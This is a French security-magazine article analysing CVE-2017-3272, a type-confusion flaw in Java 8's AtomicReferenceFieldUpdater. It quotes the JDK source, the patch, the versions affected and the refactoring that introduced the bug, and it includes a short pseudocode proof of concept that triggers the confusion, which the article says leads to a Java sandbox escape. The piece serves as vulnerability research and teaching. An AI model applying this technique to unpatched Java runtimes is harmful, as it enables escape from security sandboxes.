FINI LE BAC À SABLE. AVEC LE CVE-2017-3272, DEVENEZ UN GRAND !

Alexandre BARTEL – alexandre.bartel@uni.lu
Jacques KLEIN – jacques.klein@uni.lu
Yves LE TRAON – yves.letraon@uni.lu

mots-clés : *EXPLOIT / JAVA / CONFUSION DE TYPE / EXÉCUTION DE CODE ARBITRAIRE*

Pour continuer dans la lignée des vulnérabilités Java, nous allons présenter ici une preuve de concept pour un exploit basé sur la vulnérabilité du CVE-2017-3272 qui atomise la sandbox Java. Heureusement, cette vulnérabilité n'affecte « que » 5 versions publiques de Java 8.

1 Introduction

Il y a quatre mois **[1]**, nous avions étudié la vulnérabilité du débordement d'entier du CVE-2015-4843 qui permet d'effectuer une confusion de type. La sandbox Java n'y avait pas résisté. Il s'avère que la vulnérabilité du CVE-2017-3272 permet, elle aussi, de faire croire à la machine virtuelle Java qu'une instance de classe de type Toto est en fait une instance de type Titi.

Pour commencer, nous allons très brièvement décrire l'architecture sécurité de Java et présenter ce qu'est une confusion de type. Puis, nous allons décrire la vulnérabilité et découvrir comment elle a été introduite dans le code de la machine virtuelle Java Hotspot, comment l'exploiter pour effectuer une confusion de type et comment elle a été corrigée.

2 Contexte

2.1 Sécurité de la JVM

En autorisant l'exécution de code non sûr, la JVM se doit de pouvoir limiter ses actions. Jouxtant le code des bibliothèques de classes Java (par exemple `java.lang.String`), les mécanismes de protection reposent sur la vérification de permissions pour s'assurer que le code non sûr a les droits nécessaires pour toutes ses actions. En effet, si le code non sûr n'a pas la ou les bonnes permissions pour effectuer une action, la machine virtuelle lancera une exception de sécurité qui aura pour effet immédiat de stopper l'exécution du programme.

Seulement voilà, ces mécanismes de protection ne fonctionnent qu'à condition que toutes les couches logicielles et matérielles sur lesquelles repose la JVM soient exemptes de bogue. Au passage, cette constatation est valable pour la JVM, mais aussi pour tout autre mécanisme de protection d'un système informatique.

Indubitablement, la vulnérabilité du CVE-2017-3272 montre qu'il y a encore des bogues dans les couches logicielles sur lesquelles reposent les mécanismes de sécurité (quelle surprise !). Surtout, elle montre qu'une vulnérabilité de confusion de type est critique et permet à un programme Java quelconque de passer outre tous les mécanismes de protection de la JVM.

2.2 Confusion de type

Ouille. Une vulnérabilité de confusion de type est, en Java, synonyme de contournement de toutes les mesures de protection. Telle la matière végétale qui camoufle le tireur d'élite, une confusion de type fait croire à la machine virtuelle qu'elle est en présence d'un objet inoffensif de type `A` alors qu'en réalité se cache derrière un objet de type `B`. Une telle situation va permettre à un programme de neutraliser le mécanisme d'encapsulation de Java qui permet, entre autres, de définir des champs privés normalement inaccessibles depuis l'extérieur de la classe. Tchao la vie privée des champs !

En effet, un champ privé **CP** de la classe de type **B** devient accessible avec une confusion de type si le type **A** définit le même champ avec le mot clef « public ». Comme la machine virtuelle interprète l'accès à **CP** d'une classe de type **B** via le type **A**, elle considère le champ comme public et donc accessible pour n'importe quelle méthode.

Ainsi, il devient possible d'accéder à un champ privé de type **sun.misc.Unsafe** d'une classe de la bibliothèque Java. Ce type est normalement impossible à instancier, car il fait partie des classes restreintes – car potentiellement dangereuse sur le plan de la sécurité – de la bibliothèque Java et une instance de ce type permet d'instancier, par exemple, une nouvelle classe **NC** avec tous les privilèges.

Hélas, une attaque s'appuyant sur une confusion de type n'a plus qu'à définir, puis exécuter, une méthode **NC.m** qui désactivera tous les contrôles de permissions.

3 Description du CVE-2017-3272

En lisant la description de CVE sur le site de Red Hat **[2]**, on comprend qu'elle se trouve dans le paquet **java.util.concurrent.atomic** et plus précisément dans les classes de type « updater » de ce paquet. Saperlipopette, cette information réduit le nombre de classes à analyser à trois : **AtomicIntegerFieldUpdater**, **AtomicLongFieldUpdater** et **AtomicReferenceFieldUpdater**. Vers la fin de la description, on apprend par ailleurs que le problème est que ces classes ne restreignent pas correctement l'accès à un champ « protected ».

Introduites depuis Java 5, ces classes ***FieldUpdater** visent à économiser l'espace mémoire et à réduire le temps d'exécution par rapport aux classes **AtomicLong**, **AtomicInt**, etc. En pratique, les 2 types de classes servent à changer la valeur d'un champ de manière concurrente. Nous allons analyser le code de la classe **AtomicReferenceFieldUpdater** pour voir ce qui se passe lors de l'instanciation d'un objet de cette classe puis lors du changement de la valeur de la référence associée.

Suivant la documentation à la lettre, nous apprenons que pour obtenir une instance de la classe **AtomicReferenceFieldUpdater**, il faut utiliser la méthode **newUpdater** avec trois paramètres : **tclass** le type de la classe contenant le champ cible, **vclass** le type dudit champ et **fieldname**, le nom du champ. Immédiatement, **newUpdater** appelle le constructeur de la classe **AtomicReferenceFieldUpdaterImpl** (ligne 108).

```
105     public static <U,W> AtomicReferenceFieldUpdater<U,W>
newUpdater(Class<U> tclass,
106                                                 Class<W> vclass,
107                                                String fieldName) {
108         return new AtomicReferenceFieldUpdaterImpl<U,W>
109             (tclass, vclass, fieldName, Reflection.getCallerClass());
110     }
...
311     AtomicReferenceFieldUpdaterImpl(final Class<T> tclass,
312                                     final Class<V> vclass,
313                                     final String fieldName,
314                                     final Class<?> caller) {
315         final Field field;
316         final Class<?> fieldClass;
317         final int modifiers;
318         try {
319             field = AccessController.doPrivileged(
320                 new PrivilegedExceptionAction<Field>() {
321                     public Field run() throws NoSuchFieldException {
322                         return tclass.getDeclaredField(fieldName);
323                     }
324                 });
325             modifiers = field.getModifiers();
326             sun.reflect.misc.ReflectUtil.ensureMemberAccess(
327                 caller, tclass, null, modifiers);
328             ClassLoader cl = tclass.getClassLoader();
329             ClassLoader ccl = caller.getClassLoader();
330             if ((ccl != null) && (ccl != cl) &&
331                 ((cl == null) || !isAncestor(cl, ccl))) {
332                 sun.reflect.misc.ReflectUtil.checkPackageAccess(tclass);
333             }
334             fieldClass = field.getType();
335         } catch (PrivilegedActionException pae) {
336             throw new RuntimeException(pae.getException());
337         } catch (Exception ex) {
338             throw new RuntimeException(ex);
339         }
340
341         if (vclass != fieldClass)
342             throw new ClassCastException();
343         if (vclass.isPrimitive())
344             throw new IllegalArgumentException("Must be reference type");
345
346         if (!Modifier.isVolatile(modifiers))
347             throw new IllegalArgumentException("Must be volatile type");
348
349         this.cclass = (Modifier.isProtected(modifiers)) ? caller : tclass;
350         this.tclass = tclass;
351         this.vclass = vclass;
352         this.offset = U.objectFieldOffset(field);
353     }
```

Comme illustré ci-dessus, ce constructeur va tout d'abord utiliser la réflexion pour récupérer le champ cible de la classe **tclass** à partir de son nom **fieldname** (lignes 319-324). Immédiatement, nous remarquons que l'appel vers la méthode **getDeclaredField** est encapsulé dans un appel de **doPrivileged**. Quel est le rôle de **doPrivileged** ?

Un appel vers **getDeclaredField** va vérifier que l'appelant (chaque couple classe/méthode de la pile d'appels) a la bonne permission (ici **AccessDeclaredMembers**). En pratique, il se peut très bien que le code appelant n'ait pas la permission, car il n'en a pas vraiment besoin : dans le code ci-dessus, c'est uniquement le constructeur qui en a besoin (et il a toutes les permissions, car c'est un constructeur d'une classe dans un paquet « de confiance » **java.***). Justement, c'est pour ce genre de situations qu'a été conçue la méthode **doPrivileged**. Elle permet d'arrêter la vérification de la pile d'appels à la classe qui appelle **doPrivileged** : le code du constructeur de la classe **AtomicReferenceFieldUpdaterImpl** va donc fonctionner correctement (c'est-à-dire sans générer une exception de sécurité) que toutes les classes appelantes aient ou non la bonne permission **AccessDeclaredMembers**.

Tout va bien, donc, et le code du constructeur va ensuite stocker soit la classe appelante (ligne 109) soit **tclass** dans le champ **cclass** (ligne 349). Ensuite, le constructeur instancie la classe **sun.misc.Unsafe** pour récupérer l'offset du champ en mémoire (ligne 352). Bien entendu, le nom de cette classe et le fait de récupérer un offset dans un programme Java n'indiquent rien de suspect...

Une des raisons pour lesquelles Java est considéré comme un langage sûr (« safe ») est que le programmeur n'a pas à gérer la mémoire lui-même. Toutefois, Java utilise en interne la classe **Unsafe** pour, entre autres, optimiser les accès mémoires. Et cela contredit donc le fait que Java soit un langage sûr, car un programme Java ne devrait jamais avoir un accès direct à la mémoire. En effet, la classe **Unsafe** est très dangereuse (et extrêmement intéressante pour une attaque), car si elle peut être directement ou indirectement contrôlée par un analyste, elle pourrait être utilisée pour désactiver le **SecurityManager**, c'est-à-dire pour contourner tout le système de vérification des permissions de Java.

Notons enfin que le constructeur stocke **tclass** et **vclass** dans les champs **tclass** et **vclass** respectivement (lignes 350 et 351).

Chouette, nous savons maintenant comment obtenir un objet de type **AtomicReferenceFieldUpdater**. Un appel de la méthode **set** sur cet objet va mettre à jour la référence qui y est stockée.

```
375         private final void accessCheck(T obj) {
376             if (!cclass.isInstance(obj))
377                 throwAccessCheckException(obj);
378         }
```

```
398         private final void valueCheck(V v) {
399             if (v != null && !(vclass.isInstance(v)))
400                 throwCCE();
401         }
```

```
420         public final void set(T obj, V newValue) {
421             accessCheck(obj);
422             valueCheck(newValue);
423             U.putObjectVolatile(obj, offset, newValue);
424         }
```

Le premier paramètre de la méthode **set**, **obj**, est l'instance sur laquelle la référence doit être mise à jour avec la valeur du second paramètre, **newValue** (ligne 420).

En premier lieu (ligne 421), **set** va vérifier qu'**obj** est bien une instance de la classe **cclass**. Tant que c'est le cas, aucune exception n'est levée. Après (ligne 422), **accessCheck** va vérifier si **newValue** est **null** ou si c'est une instance de **vclass** (le type du champ à mettre à jour).

Gare à la prochaine et dernière étape : il s'agit d'utiliser **Unsafe** et l'offset **offset** du champ cible dans l'instance **obj** pour mettre à jour le champ avec la nouvelle valeur **newValue** (ligne 423). Utiliser **Unsafe** permet ici de changer directement la valeur du champ sans passer par une résolution « normale » du champ qui prendrait plus de temps.

4 Exploitation de la vulnérabilité

En regardant le correctif de la vulnérabilité ci-dessous, on remarque que le code n'effectuait pas assez de vérifications sur l'objet **caller**.

```
@@ -346,7 +347,17 @@
         if (!Modifier.isVolatile(modifiers))
             throw new IllegalArgumentException("Must be volatile type");

-        this.cclass = (Modifier.isProtected(modifiers)) ? caller : tclass;
+        this.cclass = (Modifier.isProtected(modifiers) &&
+                       tclass.isAssignableFrom(caller) &&
+                       !isSamePackage(tclass, caller))
+                      ? caller : tclass;
         this.tclass = tclass;
         this.vclass = vclass;
         this.offset = U.objectFieldOffset(field);

@@ -369,6 +380,21 @@
     }

     /**
+     * Returns true if the two classes have the same class loader and
+     * package qualifier
+     */
+    private static boolean isSamePackage(Class<?> class1, Class<?> class2) {
+        return class1.getClassLoader() == class2.getClassLoader()
+               && Objects.equals(getPackageName(class1),
getPackageName(class2));
+    }
+
+    private static String getPackageName(Class<?> cls) {
+        String cn = cls.getName();
+        int dot = cn.lastIndexOf('.');
+        return (dot != -1) ? cn.substring(0, dot) : "";
+    }
```

Un ajout de code est nécessaire pour vérifier que **tclass** est la même classe, une super classe ou une super interface de **caller** avant de choisir **caller** en tant que type de la classe contenant le champ cible identifié par **fieldname**.

L'exploitation de la vulnérabilité devient maintenant triviale :

```
 1 class Dummy {
 2   protected volatile A f ;
 3 }
 4
 5 class MyClass {
 6   protected volatile B g ;
 7   main() {
 8     m = new MyClass() ;
 9     u = newUpdater(Dummy.class, A.class, "f") ;
10     u.set(m, new A()) ;
11     println(m.g.getClass()) ;
12   }
13 }
```

En exécutant le code ci-dessus, on obtient :

```
$ java -version
java version "1.8.0_112"
Java(TM) SE Runtime Environment (build 1.8.0_112-b15)
Java HotSpot(TM) 64-Bit Server VM (build 25.112-b15, mixed mode)
$ java MyClass
class A
```

Visiblement, nous avons là affaire à une confusion de type, car le champ **g** de type **B** de la classe **MyClass** référence maintenant un objet de type **A**. Il convient d'expliquer un peu ce qui se passe dans la preuve de concept.

En appelant **newUpdater** (ligne 9), nous créons un nouvel objet de type **AtomicReferenceFieldUpdater** initialisé avec comme champ cible le champ **f** de type **A** de la classe **Dummy**. Non, rien d'anormal jusque-là.

Seulement voilà, la mise à jour du champ cible se fait en appelant la méthode **set** avec une instance de **MyClass** (classe qui n'a rien à voir avec **Dummy**). Il va de soi que du fait de l'utilisation de la classe **Unsafe** et de l'offset du champ par la méthode **set**, celle-ci ne peut pas savoir que l'instance cible n'est pas **Dummy**, mais une autre classe qui contient un champ totalement différent à cet offset (de type **B** à la place de type **A**). C'est ainsi que l'analyste peut effectuer une confusion de type.

Identiquement à ce qui a été présenté dans un article précédent **[I]**, la confusion de type peut être utilisée pour s'échapper de la sandbox Java.

5 Versions vulnérables

Si les classes **Atomic*FieldUpdater** ont été introduites à partir de la version Java 1.5, ce n'est qu'à partir de la version 1.8_112 que la vulnérabilité a été découverte.

Au total, cinq versions uniquement sont vulnérables : 1.8_92, 1.8_101, 1.8_102, 1.8_111 et 1.8_112.

Les différentes versions vulnérables ont été trouvées en testant les versions Java 1.6_* jusqu'à 1.8_112 et la première et dernière version de Java 1.5.

6 Origine de la vulnérabilité

En effectuant une comparaison de la version 1.8_91 (non vulnérable) et la version 1.8_92 (vulnérable), nous remarquons qu'une opération de refonte (« refactoring ») a été effectuée et qu'elle ne préserve pas la sémantique du code de vérification.

```
376         void updateCheck(T obj, V update) {
377             if (!tclass.isInstance(obj) ||
378                 (update != null && vclass != null && !vclass.
isInstance(update)))
379                 throw new ClassCastException();
380             if (cclass != null)
381                 ensureProtectedAccess(obj);
382         }
```

```
401         public void set(T obj, V newValue) {
402             if (obj == null || obj.getClass() != tclass ||
cclass != null ||
403                 (newValue != null && vclass != null &&
404                  vclass != newValue.getClass()))
405                 updateCheck(obj, newValue);
406             unsafe.putObjectVolatile(obj, offset, newValue);
407         }
```

```
433         private void ensureProtectedAccess(T obj) {
434             if (cclass.isInstance(obj)) {
435                 return;
436             }
437             throw new RuntimeException(
438                 new IllegalAccessException("Class " +
439                     cclass.getName() +
440                     " can not access a protected member of class " +
441                       tclass.getName() +
442                       " using an instance of " +
443                       obj.getClass().getName()
444                 )
445             );
446         }
```

En effet, nous constatons que dans le code ci-dessus (de la version non vulnérable), il y a potentiellement deux conditions à satisfaire (lignes 377 à 381) si le type d'**obj** est différent du type de **tclass** (lignes 402 à 405). Notons que la seconde condition qui vérifie qu'**obj** est une instance de **cclass** (lignes 381, 434) est aussi présente dans le code vulnérable.

C'est la première condition qui vérifie qu'**obj** est une instance de **tclass** (ligne 377) qui a disparu dans les versions vulnérables, pschitt ! Une condition manquante dans le code suffit donc à générer une vulnérabilité qui permet de s'échapper de la sandbox Java.

Conclusion

La sécurité de la JVM est totalement compromise en exploitant la vulnérabilité du CVE-2017-3272.

En comparant les différentes versions du code, nous avons découvert que cette vulnérabilité résulte d'une erreur sémantique lors du remaniement du code dans la version 1.8_92. Seules 5 versions sont vulnérables (à mettre en perspective avec les > 50 versions vulnérables du CVE-2015-4843).

Avec cette vulnérabilité, c'est encore une fois une confusion de type qui est exploitée pour désactiver les vérifications de permissions. L'origine de la vulnérabilité vient du fait que le code Java n'est pas totalement sûr dans le sens où des parties de la JCL (classes de confiances de la JVM) utilisent **sun.misc.Unsafe** qui permet un accès direct à la mémoire.

Aux grands maux, les grands remèdes : Oracle a décidé de supprimer **sun.misc.Unsafe** dans Java 9 **[4]** ! Ultérieurement, et face à des développeurs et des projets utilisant **Unsafe**, Oracle a finalement choisi de ne pas le faire **[5]**.

Diantre, on a de la chance que ce ne soit qu'un problème de design logiciel qui date des années 90 et pas un problème du design de nos processeurs qui date de la même époque... ■

Remerciements

Merci à Jean-Baptiste Bedrune pour la relecture attentive de l'article.

Retrouvez toutes les références de cet article sur le blog de MISC : https://www.miscmag.com/ .